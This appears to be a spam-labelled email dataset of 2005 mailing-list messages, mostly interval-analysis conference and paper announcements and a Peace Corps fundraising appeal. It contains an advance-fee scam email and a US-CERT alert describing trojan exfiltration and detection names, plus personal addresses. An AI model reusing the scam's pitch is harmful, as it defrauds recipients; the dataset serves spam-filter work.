provide global information about the curve in a subarea such as existence, non-existence, uniqueness of the curve or even the presence of singular points. The information gained allows the above-mentioned control of the subarea and the decision of its further processing, i.e. deleting it, subdividing it, switching to the continuation method or preparing the plotting of the curve in this subarea. The curves can be processed mathematically in such a manner, that the derivation of the plotted curve from the exact curve is as small as desired (modulo the screen resolution)."", acknowledgement = ack-nhfb, keywords = ""SCCI (Space Covering techniques, Continuation principles and Interval analysis)"", } ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - University of Utah FAX: +1 801 581 4148 - - Department of Mathematics, 110 LCB Internet e-mail: beebe@math.utah.edu - - 155 S 1400 E RM 233 beebe@acm.org beebe@computer.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- ",0,1 """Nelson H. F. Beebe"" ",reliable_computing@interval.louisiana.edu,"Tue, 05 Jul 2005 09:59:32 -0600",Another new paper on interval analysis,"This new paper may be of interest to some list readers; the DOI and URL address may allow you to retrieve a PDF file of the article: @String{j-COMPUTING = ""Computing""} @Article{Verdonk:2005:BSI, author = ""B. Verdonk and J. Vervloet and A. Cuyt"", title = ""Blending Set and Interval Arithmetic for Maximal Reliability"", journal = j-COMPUTING, volume = ""74"", number = ""1"", pages = ""41--65"", month = feb, year = ""2005"", CODEN = ""CMPTA2"", DOI = ""http://www.springerlink.com/openurl.asp?genre=article&id=doi:10.1007/s00607-004-0090-2"", ISSN = ""0010-485X (print), 1436-5057 (electronic)"", bibdate = ""Tue Jul 5 09:25:15 MDT 2005"", bibsource = ""http://springerlink.metapress.com/openurl.asp?genre=issue&issn=0010-485X&volume=74&issue=1"", URL = ""http://www.springerlink.com/openurl.asp?genre=article&issn=0010-485X&volume=74&issue=1&spage=41"", abstract = ""In both [3] and [8], the authors review the implementation of the basic operations in interval arithmetic, and in particular discuss the different approaches given in the literature for interval division when the divisor interval contains zero. In these papers, and in the references therein, the basic operations are defined for real or extended real interval operands.\\par Division by an interval containing zero is a special case of an interval function for which the input arguments contain points outside the domain of the underlying point function. A number of approaches exist in the literature, [7], [12], to remove restrictions on the domain of interval functions and hence obtain a closed, exception-free interval system.\\par In this paper, we present an alternative approach to remove restrictions on the domain of interval functions and to guarantee the inclusion property in all situations, even when some input intervals contain points that lie outside the domain of the underlying point function. To achieve this, we allow for the (efficient) set-based representation of non-real results. The computed intervals are sharp, yet contain more information and the resulting interval system is closed and exception-free. We also show how the presented ideas can be implemented in an interval arithmetic library. The performance overhead is negligible compared to the fact that the implementation using the new approach offers 100\\% reliability in return.\\par The structure of the paper is as follows. We set off with a motivating example in Sect. 1. In Sect. 2, we review various approaches to interval division and then introduce vset-division of real intervals, based on the newly introduced concept of value set or vset. In Sect. 3, we give a formal definition of real vset-intervals and arithmetic on these intervals. We prove a number of essential properties and point out the likenesses and differences with other approaches. Finally, in Sect. 4, we discuss the implementation of vset-interval arithmetic in a floating-point context."", acknowledgement = ack-nhfb, keywords = ""Interval arithmetic; inclusion property"", } ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - University of Utah FAX: +1 801 581 4148 - - Department of Mathematics, 110 LCB Internet e-mail: beebe@math.utah.edu - - 155 S 1400 E RM 233 beebe@acm.org beebe@computer.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- ",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Tue, 05 Jul 2005 10:04:03 -0600","PARA06, June 18-21, 2006, Umea, SWEDEN","Dear Friends, Forwarding. Last PARA conference had a large interval session, we may want to have aone at this conference as well. Vladik ------------- Begin Forwarded Message ------------- Mailing-List: contact para-l-help@net.uni-c.dk; run by ezmlm Delivered-To: mailing list para-l@net.uni-c.dk Date: Tue, 5 Jul 2005 16:02:57 +0200 (METDST) From: Jerzy Wasniewski To: para-l@net.uni-c.dk Subject: PARA06, June 18-21, 2006, Umea, SWEDEN MIME-Version: 1.0 PARA06 WORKSHOP ON STATE-OF-THE-ART IN SCIENTIFIC AND PARALLEL COMPUTING June 18-21, 2006 First Announcement ------------------------------------------------- ORGANIZERS: Bo Kagstrom (Chairman), Umea University, Sweden Erik Elmroth (Coordinator), Umea University, Sweden Jack Dongarra, Univ. of Tennessee and Oak Ridge Nat. Lab., USA Jerzy Wasniewski, Technical University of Denmark DATES: June 18, 2006: Tutorial (topics to be announced) June 19-21, 2006: PARA06 Workshop sessions PLACE: Umea University, SE-901 87 Umea, SWEDEN SCOPE: The main theme of PARA06 is State of the Art in Scientific and Parallel Computing. Interesting topics include (but are not restricted to) algorithms, software, tools, environments as well as applications for Scientific Computing, High Performance Computing, Parallel Computing, Grid Computing, and Interactive Visualization. Key lectures, topical minisymposia, a limited number of contributed talks, and poster sessions will be selected for the workshop. DEADLINES: Extended abstracts (at most 4 pages): January 31, 2006 Notification of acceptance: March 15, 2006 The PARA06 Workshop: June 18-21, 2006 Proceedings papers (at most 10 pages): September 15, 2006 CONFERENCE PROCEEDINGS: The extended abstracts will be handed out at the beginning of the workshop. After the workshop, full papers will be included (after peer-reviewing) in the workshop proceedings, published in the Springer Verlag series Lecture Notes in Computer Science (LNCS). FURTHER INFORMATION: The PARA06 URL: http://www.hpc2n.umu.se/para06/ will successively be updated. It will contain all the necessary information. The extra announcements will, from time to time, be distributed by the para-l mailing list. Mailing list: To subscribe, send a dummy message to para-l-subscribe@net.uni-c.dk To discontinue, send a dummy message to para-l-unsubscribe@net.uni-c.dk Inquiries: PARA06, HPC2N, MIT-huset SE-901 87 Umea, SWEDEN Attn: Lena Hellman Email: para06@hpc2n.umu.se Tel: +46 (0)90 786 7666 Fax: +46 (0)90 786 6126 SOCIAL EVENTS: A reception June 18 and a conference dinner on June 20 are planned. Social activities for accompanying persons will be offered. ------------- End Forwarded Message -------------",0,1 christain confidance ,rose_gu105@yahoo.fr,"Wed, 06 Jul 2005 11:56:43 +0200",ASSISTANCE,"FROM ROSE GUEI Abidjan cote D` Ivoire West Africa. Dearest, I am the first daughter of an ex military/ex president been an opposition party to the present Government of COTE D`IVOIRE. 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Before the death of my father he gave me the covering documents of the fund deposited in the security company, as I am his first daughter and he so much loved me that was why he made me the beneficiary of the two iron trunk boxes containing the $18.5mUSD. Right now I wish to transfer this fund to you so that you will assist me to invest the money into any viable sector in your country, also you will help me to join you in your country for me to start up a new life with you there immediately the fund gets to you. since I am no longer safe as far as Africa is concern at the moment, I wanted to transfer the fund before leaving the country because this fund is my last hope and the only hope I have now. Before I even pick you to assist me I have prayed and slept over it asking God to provide for me a Godly minded person that will assist me in this transaction. I will give you more details of the transaction in my next mail. Awaiting to here from you. Thanks and God bless you. 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Messenger Téléchargez le ici !",1,0 brenda campos ,romanianclub@columbia.edu,"Wed, 06 Jul 2005 20:35:17 -0400",open call for art exhibition,"Hello, i'm writing you because we are organizing an art show at our gallery in new york,Our art space is not a commercial one, but still i wanted to invite you to participate. here i'm sending you here a brief description of the art space as well of the basic (and i mean really basic) concept of the show. the suggested name until now is ""and then it was us"" but it most surely will change, still i just wanted to email you the info so if you get interested, we can start working out an idea for collaboration from you. in case you are not interested, but know someone who might fit and might be interested, please let me know. here is the text: Local Project is a non-profit organization committed to building a forum for artists, creating synergy between their art work and the public. LP supports all forms of self-expression by providing an open space for artists without concern to their genre, medium, or provenance. In using diversity as the key to growth, both the artist and the community collaborate toward a richer and fuller development of both. As part of this year's calendar Local Project is organizing and inviting artists to become part of ""And then it was us"", a collective and multidisciplinary art show opening for one week on November 2005. ""And then it was us"" will show the art work of artists coming from Europe, or with an European background, whose work represents the other side of the Europe that mainstream media shows. People and communities reconstructing an identity after years living on war, after the transition from communism, with a constant migration and facing economic, political and social crisis. The exhibition will show artists living in Europe as well as work from immigrant artists living in the US, creating a dialogue between the differences of their artistic representations. For any concerns, questions or suggestions, please feel free to contact me, Brenda Campos LP Board Member artichokelab@gmail.com (718) 278 20 35 21-36 44 Road, Long Island City, NY 11101, USA www.localproject.org ",0,0 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Thu, 07 Jul 2005 09:22:36 -0600",summer school of interest to interval researchers and practitioners ,"Forwarding. Vladik ******************************************************** Grenoble Control Summer School GUARANTEED SET COMPUTATION, WITH APPLICATIONS IN IDENTIFICATION, OBSERVATION, CONTROL AND ROBOTICS 12-16 September 2005, Grenoble, France Scientific coordinators : Luc JAULIN - Eric WALTER Laboratoire E3I2 - ENSIETA - Brest Laboratoire des Signaux et Systemes CNRS - SUPELEC - Univ. Paris-Sud XI - Gif-sur-Yvette Program 1st day Set computation Set theory. Computing with ellipsoids, with intervals and subpavings. Inclusion functions. Contractors and constraint propagation. Practical work. 2nd day Set solvers Computing direct images of sets. Computing reciprocal images of sets. Solving linear and nonlinear sets of equations. Global optimisation (including minimax). Integrating differential equations. Practical work. 3rd day Set estimation Estimating parameters (via the minimization of a cost function or, in a bounded-error context, by ellipsoids or by subpavings). Estimating state variables by set filtering in a bounded-error context (by ellipsoids or by subpavings). State estimation via constraint propagation. Joint parameter and state estimation Practical work. 4th day Robust control Analysing the stability of uncertain systems. Computing stability domains and margins. Delay systems. Designing robust controllers. Practical work. 5th day Complements Guaranteed computation with floating point numbers. Automatic differentiation. 5th day Robotics Computing all possible configurations of a Stewart-Gough platform. Calibrating robots. Localization and tracking of a vehicle from distance measurements. Trajectory planning. SIG Calcul ensembliste of the GdR MACS. Assessment of the summer school. Main speakers Laurent GRANVILLIERS, Associate Professor, Universite de Nantes Luc JAULIN , Professor, ENSIETA, Brest Michel KIEFFER, Associate Professor, Universite Paris-Sud XI, Orsay Suzanne LESECQ, Associate Professor, Universite Joseph Fourier, Grenoble Nacim RAMDANI, Associate Professor, Universite Paris XII, Creteil Eric WALTER, Directeur de Recherche at CNRS Person in charge of the Grenoble Summer Schools Alina Voda Laboratoire d'Automatique de Grenoble, INPG, ENSIEG, Grenoble Audience Firstly, those in control who want to learn and use set computation and especially interval computation. Secondly, computer scientists and interval analysis who are interested by control as an application field for the techniques and solvers that they develop. Prerequisite Basic knowledge of control (transfer function, state space representation, mathematics (set theory, matrix computation) and scientific computing (MATLAB). Organisation The course will consist of a series of talks and opportunities to practice on computers (mainly in MATLAB, but those interested may also learn how to use a C++ library for interval computation). Each participant will receive the book Applied Interval Analysis by L. Jaulin, M . Kieffer, O. Didrit and E. Walter (Springer, London, 2001), copies of the talks and non commercial software will also be provided. Registration Please contact Mrs. Marie-Therese DESCOTES-GENON Laboratoire d'Automatique de Grenoble, B.P. 46, 38402 - Saint-Martin-d'Heres-cedex - France Tel : 33(0)4.76.82.62.44 , Fax : 33(0)4.76.82.63.88 Email : Marie-Therese.Descotes-Genon@inpg.fr Web : http://ecole-ete-auto.lag.ensieg.inpg.fr/index_uk.html Registration fees (in Euros) Industry 780 CNRS free Academia 450 Students 230 (includes five lunches, the documentation and the welcome cocktail) Venue The 2005 edition will take place at the Ecole Nationale Superieure d'Ingenieurs Electriciens de Grenoble (in the Institut National Polytechnique de Grenoble), rue de la Houille Blanche - Domaine Universitaire - Saint-Martin-d'Heres - Isere (15 minutes from Grenoble center by tramway). Transportation Three hours from Paris by train. The most convenient airports for arrival are Lyon St-Exupery and Grenoble St-Geoirs. ",0,1 Jacquelyn Jancius ,"romanianclub@columbia.edu, ddc45@columbia.edu, cz54@columbia.edu, mmm2120@columbia.edu, rnr6@columbia.edu, cec2005@columbia.edu","Fri, 08 Jul 2005 00:10:04 -0700",GLOW Camp- Peace Corps Romania," July 8, 2005 Dear Romanian Club at Colombia, I am a Peace Corps volunteer in Romania. I joined the Peace Corps in February 2004 and I will serve in Romania until April 2006. I am a volunteer for the institutional development of non-governmental organizations. I am writing to request support from Romanian Students’ Clubs in the US for a project I am working on through my Peace Corps service. Since joining the Peace Corps, I have become involved with the development of gender equality, combating domestic violence and helping to develop leadership in young Romanian women. Despite its efforts to move toward a more democratic and civil society, Romania continues to struggle with issues regarding the role of women. There are some cultural beliefs and societal attitudes that impede progress and the empowerment of Romanian women. Romania continues to be a male-dominated society and many young women struggle to identify female role models within their community. There is also a general lack of support in public institutions for women’s issues. Women’s health and sex education remain widely neglected in the educational system. The law continues to largely ignore problems such as domestic violence and sexual harassment. All of these factors indicate a need to empower young women so that they might contribute to society with positive new roles of leadership and cooperation. One way I work to advance the rights of women is through the Gender and Development Peace Corps committee (GAD), of which I am the President. The GAD committee is a group of 10 Peace Corps Volunteers and 10 Romanian counterparts. GAD develops projects to raise national awareness about gender issues and creates a network of local women’s organizations. One GAD project is the Girls Leading Our World Camps (GLOW), conducted in Romania since 1996. This August, 3 female Peace Corps Volunteers will lead a GLOW camp with 15 high school girls (15-17 years old) from 3 different communities in Romania. We are also training a young Romanian woman to conduct future camps. The camp offers a unique opportunity for the girls to learn about leadership, self-confidence and teamwork. We will also discuss issues like body image, healthy relationships, safe sex practices, domestic violence, and drugs/alcohol use. We are seeking contributions through a Peace Corps Partnership Program in which donations from our home communities can be made to support our GLOW Camp. We are attempting to raise an additional $1,300 (USD). All donations are tax deductible. I am requesting sponsorship from Romanian Students organizations. Any size of sponsorship or donation is welcome either from individual students or from the Club/organization. There are two ways you can make a donation, online or via postal mail. You can make a donation online through the Peace Corps website: “Suncuius High School GLOW Camp,” Project Coordinator: Jacquelyn Jancius http://peacecorps.gov/index.cfm?shell=resources.donors.projdetail&projdesc=403-104®ion=europe Or you can mail your check to Peace Corps for Project Number 403-104, “Suncuius High School GLOW Camp:” Peace Corps OPSI Partnership Program/Project Nr. 403-104 1111 20th St. NW 8th Floor Washington, DC 20526 In addition, can you please post this request on websites or in newsletters? Thank you for your support! Va multumim mult! Sincerely, Jacquelyn Jancius Peace Corps Volunteer Romania 2004-2006 Contact information: US Home Address: 515 Pinecroft Drive, Roselle, IL Address in Romania: Pt-a Cetatii Nr. 8, CP 68, Sighisoara 545400 Email address: Jackieblue18@yahoo.com __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com ",0,1 Daita Domnica Ciobanu ,"romania_list@columbia.edu, romanianclub@columbia.edu","Fri, 08 Jul 2005 08:05:29 -0400",GLOW Camp- Peace Corps Romania (fwd),"Daita's webpage ---------- Forwarded message ---------- Date: Fri, 8 Jul 2005 00:10:04 -0700 (PDT) From: Jacquelyn Jancius To: romanianclub@columbia.edu, ddc45@columbia.edu, cz54@columbia.edu, mmm2120@columbia.edu, rnr6@columbia.edu, cec2005@columbia.edu Subject: GLOW Camp- Peace Corps Romania July 8, 2005 Dear Romanian Club at Colombia, I am a Peace Corps volunteer in Romania. I joined the Peace Corps in February 2004 and I will serve in Romania until April 2006. I am a volunteer for the institutional development of non-governmental organizations. I am writing to request support from Romanian Students’ Clubs in the US for a project I am working on through my Peace Corps service. Since joining the Peace Corps, I have become involved with the development of gender equality, combating domestic violence and helping to develop leadership in young Romanian women. Despite its efforts to move toward a more democratic and civil society, Romania continues to struggle with issues regarding the role of women. There are some cultural beliefs and societal attitudes that impede progress and the empowerment of Romanian women. Romania continues to be a male-dominated society and many young women struggle to identify female role models within their community. There is also a general lack of support in public institutions for women’s issues. Women’s health and sex education remain widely neglected in the educational system. The law continues to largely ignore problems such as domestic violence and sexual harassment. All of these factors indicate a need to empower young women so that they might contribute to society with positive new roles of leadership and cooperation. One way I work to advance the rights of women is through the Gender and Development Peace Corps committee (GAD), of which I am the President. The GAD committee is a group of 10 Peace Corps Volunteers and 10 Romanian counterparts. GAD develops projects to raise national awareness about gender issues and creates a network of local women’s organizations. One GAD project is the Girls Leading Our World Camps (GLOW), conducted in Romania since 1996. This August, 3 female Peace Corps Volunteers will lead a GLOW camp with 15 high school girls (15-17 years old) from 3 different communities in Romania. We are also training a young Romanian woman to conduct future camps. The camp offers a unique opportunity for the girls to learn about leadership, self-confidence and teamwork. We will also discuss issues like body image, healthy relationships, safe sex practices, domestic violence, and drugs/alcohol use. We are seeking contributions through a Peace Corps Partnership Program in which donations from our home communities can be made to support our GLOW Camp. We are attempting to raise an additional $1,300 (USD). All donations are tax deductible. I am requesting sponsorship from Romanian Students organizations. Any size of sponsorship or donation is welcome either from individual students or from the Club/organization. There are two ways you can make a donation, online or via postal mail. You can make a donation online through the Peace Corps website: “Suncuius High School GLOW Camp,” Project Coordinator: Jacquelyn Jancius http://peacecorps.gov/index.cfm?shell=resources.donors.projdetail&projdesc=403-104®ion=europe Or you can mail your check to Peace Corps for Project Number 403-104, “Suncuius High School GLOW Camp:” Peace Corps OPSI Partnership Program/Project Nr. 403-104 1111 20th St. NW 8th Floor Washington, DC 20526 In addition, can you please post this request on websites or in newsletters? Thank you for your support! Va multumim mult! Sincerely, Jacquelyn Jancius Peace Corps Volunteer Romania 2004-2006 Contact information: US Home Address: 515 Pinecroft Drive, Roselle, IL Address in Romania: Pt-a Cetatii Nr. 8, CP 68, Sighisoara 545400 Email address: Jackieblue18@yahoo.com __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! 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(Phishing is the act of sending an email to a user falsely claiming to be an established legitimate enterprise in an attempt to scam the user into surrendering private information that can be used for identity theft.) These attacks appear to target US information for exfiltration. This alert seeks to raise awareness of this kind of attack, highlight the important need for government and critical infrastructure systems owners and operators to take appropriate measures to protect their data, and provide guidance on proper protective measures. Description There are two distinct elements that make this attack technique significant. First, the trojans can elude conventional protective measures such as anti-virus software and firewalls, both key measures in protecting the US Critical Infrastructure networks. A number of open source and tailored trojans, altered to avoid anti-virus detection, have been used. Trojan capabilities suggest that exfiltration of data is a fundamental goal. Second, the emails are sent to specific or targeted recipients. Unlike ""phishing"" attacks, the emails use social engineering to appear credible, with subject lines often referring to work or other subjects that the recipient would find relevant. The emails containing the trojanized attachments, or links to websites hosting trojanized files are spoofed, making it appear to come from a colleague or reliable party. The email attachments exploit known vulnerabilities to install a trojan on the user's computer. When opened, the file or link installs the trojan. Trojans can be configured to transmit information to a remote attacker using ports assigned to a common service (e.g., TCP port 80, which is assigned to Web traffic) and thereby defeat firewalls. Once the trojanized attachment is opened, a remote attacker can then perform the following functions: * Collection of usernames and passwords for email accounts * Collection of critical system information and scanning of network drives * Use of infected machine to compromise other machines and networks * Downloading of further programs (e.g., worms, more advanced trojans) * Uploading of documents and data to a remote computer US-CERT is working with other computer emergency response teams worldwide to address these types of attacks. Suggested Actions Due to the targeted distribution of trojans spread in this way and the possibility of communication with remote attackers using ports assigned to common services, detection of this activity is problematic. US-CERT advises that system administrators take the following actions: * Educate users to use an anti-virus scanner on all email attachments. * Maintain and update anti-virus software and signatures to detect malware that may be associated with this attack. * Block executable and/or suspect attachment types at email gateway or block the download of executable content via HTTP. * Investigate anomalous slow-running machines, looking for unknown processes or unexpected Internet connections, as this may be an indication of malicious programs operating in the background. Encourage reporting and full investigation of such behavior. * Update operating system and application software to patch vulnerabilities exploited in the past by these Trojans. * Implement spam filtering to guard against infrastructures (e.g., dial-ups, open proxies and open relays) commonly used by the attackers. * As Microsoft Office vulnerabilities have been targeted and exploited, ensure that Microsoft security bulletins are followed. Microsoft Security Bulletins Search http://www.microsoft.com/technet/security/current.aspx * Turn off 'Preview Pane' functionality in email clients and set the default options to view opened emails as plain text * Examine firewall logs of critical systems, or networks used for processing sensitive information, for connections to or from anomalous IP addresses. * Consider traffic analysis to identify any compromised computers that are exfiltrating files. Data on the size and times of HTTP transactions or TCP port 80 flows may help detect exfiltration by highlighting connections where the data volume sent is far greater than that received from the remote server or when data is being sent at times outside of normal working hours. * Analyze log files to determine whether the attackers are spoofing your domain. * Consider implementing IP address lists of outbound Internet connections, denying access except from address ranges relevant to your business activities, such as a ""default deny"" policy. This provides some protection against computers in third countries being used by attackers to control trojans. Incidents or suspected malicious activity of this nature, as well as all cyber security incidents affecting the US Critical Infrastructure should be reported to the United States Computer Emergency Readiness Team (US-CERT) via email to soc@us-cert.gov or by telephone (703) 235-5110. Vendor Product Names The following anti-virus product names are associated with known trojans used in the attacks since January 2005. McAfee * Backdoor-BCB * BackDoor-CPY!chm * Backdoor-TW * Downloader-WY * Exploit-1Table * JS/BackDoor-CPY * MultiDropper-MR * Proxy-Sysgam * Pusno * StartPage-DH.dll Sophos * Troj/Agent-BX * Troj/Agent-T * Troj/DDrop-A * Troj/Dloader-KF * Troj/Dloader-KZ * Troj/Lecna-C * Troj/Nethief-M * Troj/Nethief-N * Troj/Nethief-O * Troj/Netter-A * Troj/Riler-E * Troj/Riler-F * Troj/Riler-J * Troj/RPE-A * Troj/Sharp-F * Troj/VBDrop-A * WM97/Loof-D Symantec * Trojan.Dropper * Trojan.Mdropper.B * Trojan.Riler.C Trend Micro * BKDR_NETHIEF.L * BKDR_NETHIEF.R * BKDR_NETHIEF.S * BKDR_TUIMER.A * TROJ_AGENT.KZ * TROJ_SHARP.C * TROJ_WINBLUE.A * W2KM_PASSPRO.A * W2KM_PASSPRO.C * W2KM_PASSPRO.E _________________________________________________________________ Feedback can be directed to US-CERT at soc@us-cert.gov _________________________________________________________________ Produced 2005 by US-CERT, a government organization. This document is available online. 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",1,0 Luc JAULIN ,reliable_computing@interval.louisiana.edu,"Thu, 07 Jul 2005 15:26:14 +0200","Interval Control Summer School, September 2005, Grenoble, France","Dear colleagues, Please find below the program of a Control Summer School that will take place on 12-16 September 2005, in Grenoble, France. This school is about the application of interval analysis and constraint propagation to identification, control and robotics. It is open to graduate students, researchers or engineers who want to learn the concepts of interval computation, to understand why constraint propagation is essential to deal with problems involving many variables, and to find realistic applications where interval methods are needed. The lessons will be in english. No prior knowledge on control, robotics or interval analysis is required. More information about this summer shool can be found at http://ecole-ete-auto.lag.ensieg.inpg.fr/index_uk.html. The deadline has actually been extended, so you should not hesitate to register even after the end of July. We hope to see you in Grenoble, Luc Jaulin and Eric Walter. ********************************************************************** Grenoble Control Summer School GUARANTEED SET COMPUTATION, WITH APPLICATIONS IN IDENTIFICATION, OBSERVATION, CONTROL AND ROBOTICS 12-16 September 2005, Grenoble, France Scientific coordinators : Luc JAULIN and Eric WALTER Laboratoire E3I2, ENSIETA, Brest Laboratoire des Signaux et Systemes CNRS - SUPELEC - Univ. Paris-Sud Gif-sur-Yvette Main speakers Laurent GRANVILLIERS, Professor, University of Nantes Luc JAULIN , Professor, ENSIETA, Brest Michel KIEFFER, Associate Professor, University Paris-Sud XI, Orsay Suzanne LESECQ, Associate Professor, University Joseph Fourier, Grenoble Nacim RAMDANI, Associate Professor, University Paris XII, Creteil Eric WALTER, Directeur de Recherche at CNRS Program 1st day Set computation Set theory. Computing with ellipsoids, with intervals and subpavings. Inclusion functions. Contractors and constraint propagation. Practical work. 2nd day Set solvers Computing direct images of sets. Computing reciprocal images of sets. Solving linear and nonlinear sets of equations. Global optimisation (including minimax). Integrating differential equations. Practical work. 3rd day Set estimation Estimating parameters (via the minimization of a cost function or, in a bounded-error context by ellipsoids or by subpavings). Estimating state variables by set filtering in a bounded-error context (by ellipsoids or by subpavings). State estimation via constraint propagation. Joint parameter and state estimation Practical work. 4th day Robust control Analysing the stability of uncertain systems. Computing stability domains and margins. Delay systems. Designing robust controllers. Practical work. 5th day Complements Guaranteed computation with floating point numbers. Automatic differentiation. 5th day Robotics Computing all possible configurations of a Stewart-Gough platform. Calibrating robots. Localization and tracking of a vehicle from distance measurements. Trajectory planning. SIG Calcul ensembliste of the GdR MACS. Luc Jaulin, Bureau D214, Laboratoire E3I2, ENSIETA 2, rue François Verny, 29806 Brest, Cedex 9 Web : http://www.ensieta.fr/e3i2/Jaulin/ Tel : +33 (0)2 98 34 89 10 Fax : +33 (0)2 98 34 87 50 ",0,1 giuseppe ,reliable_computing@interval.louisiana.edu,"Fri, 08 Jul 2005 18:24:35 +0900",(no subject),"what is the midpoint af a matrix? From papers on the web I really understand (and I haven't the books) G -- ---------------------- ---------------------- Giuseppe De Marco, Ph.D. Dipartimento di Ingegneria dell'Informazione e Ingegneria Elettrica DIIIE, University of Salerno via ponte don Melillo 1, Fisciano, Salerno tel: +39 089 964012 email: gdemarco@unisa.it Department of Information and Communication Engineering Faculty of Information Engineering Fukuoka Institute of Technology (FIT) 3-30-1 Wajiro-Higashi, Higashi-ku, Fukuoka 811-0295 Japan email: demarco@fit.ac.jp -------------------- ",0,0 Bas Spitters ,"coq-club@pauillac.inria.fr, TYPES , Map@mozart.ujf-grenoble.fr, fom@cs.nyu.edu, isabelle-users@cl.cam.ac.uk, cca-list@fernuni-hagen.de, coalgebras@iti.cs.tu-bs.de, comprox@doc.ic.ac.uk, reliable_computing@interval.louisiana.edu","Wed, 06 Jul 2005 13:13:31 +0200","CfP: Workshop: Constructive analysis, types and exact real numbers","Call for presentations/ participation: Small TYPES workshop ""Constructive analysis, types and exact real numbers."" 3/4 October 2005 Nijmegen, the Netherlands Deadline for registration: September 1st 2005. * Call for Papers: Special issue of Mathematical structures in computer science. * Call for Participation: Many digits competition for exact real arithmetic ============================================================ The workshop will be held at the campus of the Radboud University Nijmegen (formerly known as University of Nijmegen or Catholic University of Nijmegen). This workshop is part of the TYPES project (http://www.cs.chalmers.se/Cs/Research/Logic/Types/) Topics include, but are not limited to: * the development of constructive analysis in type theory * program extraction from such developments * exact real number computation * co-inductive methods for continuous structures * semantics for real computations (e.g. domain theory, formal topology) Invited speakers: Martín Escardó and Norbert Müller Homepage: http://www.cs.ru.nl/fnds/typesreal/ Deadline for registration: September 1st 2005. Organizers: Herman Geuvers Nicole Messink Milad Niqui Bas Spitters Freek Wiedijk ========================================================== Special issue of Mathematical Structures in Computer Science There will be a special issue of the MSCS on the topic of the workshop. The proceedings will, of course, be fully refereed according to the standards of MSCS. Submission is not limited to the participants of the workshop. Schedule: 1 December 2005 Deadline for submission 1 April 2006 Notification of acceptance 1 June 2006 The final versions of the papers are due. Guest editors: Herman Geuvers Milad Niqui Bas Spitters Freek Wiedijk Please contact Bas Spitters (spitters@cs.ru.nl) if you need more information. ========================================================== The ""many digits"" friendly competition on exact real arithmetic will be held in conjunction with the above mentioned workshop. See http://www.cs.ru.nl/~milad/manydigits/ for more information. ",0,1 """R. Baker Kearfott"" ","giuseppe , reliable_computing@interval.louisiana.edu","Mon, 11 Jul 2005 07:32:15 -0500",Re: midpoint of a matrix,"Guiseppe, The midpoint of a matrix is that matrix whose (i,j)-th element is the midpoint of the (i,j)-th element of the corresponding interval matrix. Generally, even if the interval matrix is represented exactly in the machine, the elements of the midpoint matrix are not exactly representable. However, this usually does not cause a problem in the contexts where the midpoint matrix is used. For example, an approximate inverse of the midpoint matrix is commonly used to precondition linear systems of equations with interval coefficients that are relatively narrow. Rigor is not lost by using an approximation, although, for rigor, interval arithmetic should be used in applying the preconditioner (approximate or not). Sincerely, R. Baker Kearfott At 06:24 PM 7/8/2005 +0900, giuseppe wrote: >what is the midpoint af a matrix? > From papers on the web I really understand (and I haven't the books) >G > >-- >---------------------- >---------------------- >Giuseppe De Marco, Ph.D. > >Dipartimento di Ingegneria >dell'Informazione e Ingegneria Elettrica >DIIIE, University of Salerno >via ponte don Melillo 1, Fisciano, Salerno >tel: +39 089 964012 >email: gdemarco@unisa.it > >Department of Information and >Communication Engineering >Faculty of Information Engineering >Fukuoka Institute of Technology (FIT) >3-30-1 Wajiro-Higashi, Higashi-ku, Fukuoka 811-0295 >Japan >email: demarco@fit.ac.jp >-------------------- > > --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. Doucet Hall, 1403 Johnston Street) Box 4-1010, Lafayette, LA 70504-1010, USA --------------------------------------------------------------- ",0,1 Vladik Kreinovich ,"reliable_computing@interval.louisiana.edu, interval@cs.utep.edu","Mon, 11 Jul 2005 09:06:35 -0600",Invitation to Info-Gap workshop: forwarding,"forwarding. Vladik ------------- Begin Forwarded Message ------------- From: jim.hall@newcastle.ac.uk Applications are invited for participation in a workshop on: INFO-GAP ANALYSIS OF ENGINEERING SYSTEMS: ROBUST DECISIONS UNDER SEVERE UNCERTAINTY to be held on 29-30th September 2005 University of Newcastle-upon-Tyne Organisers: Prof Jim Hall, University of Newcastle-upon-Tyne Prof Keith Worden, University of Sheffield Dr Nick Alexander, University of Bristol This workshop will bring together international researchers who have been progressing info-gap applications, in most cases independently of one another, and ask them to present demonstrations of the maturing theory and reflect upon future challenges. They will be joined by selected participants working in uncertainty analysis of engineering systems that have potential for application of info-gap theory. Each member of this latter group will be invited to present a poster summarising their current work and identifying potential info-gap applications to be discussed during the workshop. The purpose of the workshop is: i. to share experiences of application on info-gap to a range of engineering applications, and ii. to identify and examine future opportunities and challenges for info-gap. This will be achieved by a combination of * presentations by leading exponents of info-gap theory followed by plenary discussion, and * a poster session to address open problems raised by other participants in the workshop and to develop potential info-gap applications. The main speakers are (subject to confirmation): 1. Prof Yakov Ben-Haim (Yitzhak Moda'i Chair in Technology and Economics Faculty of Mechanical Engineering, Technion - Israel Institute of Technology) 2. Dr. Francois Hemez (Engineering Sciences and Applications, Los Alamos National Laboratory, USA) 3. Dr. Scott Cogan (Faculte des Sciences, Laboratoire de Mecanique Appliquee, Universite de Franche-Comte, France) 4. Prof. Yoshihiro Kanno (Dept. of Urban and Environmental Engineering, Kyoto University, Japan) 5. Prof. Chris Pantelides (Department of Civil and Environmental Engineering, University of Utah, USA) 6. Dr Miriam Zacksenhouse (Faculty of Mechanical Engineering, Technion - Israel Institute of Technology) 7. Prof. Jim Hall (Professor of Earth Systems Engineering, School of Civil Engineering and Geosciences, University of Newcastle-upon-Tyne, UK) 8. Prof. Keith Worden (Professor of dynamical systems, Department of Mechanical Engineering, University of Sheffield, UK) 9. Dr Gareth Pierce (Research Associate, Department of 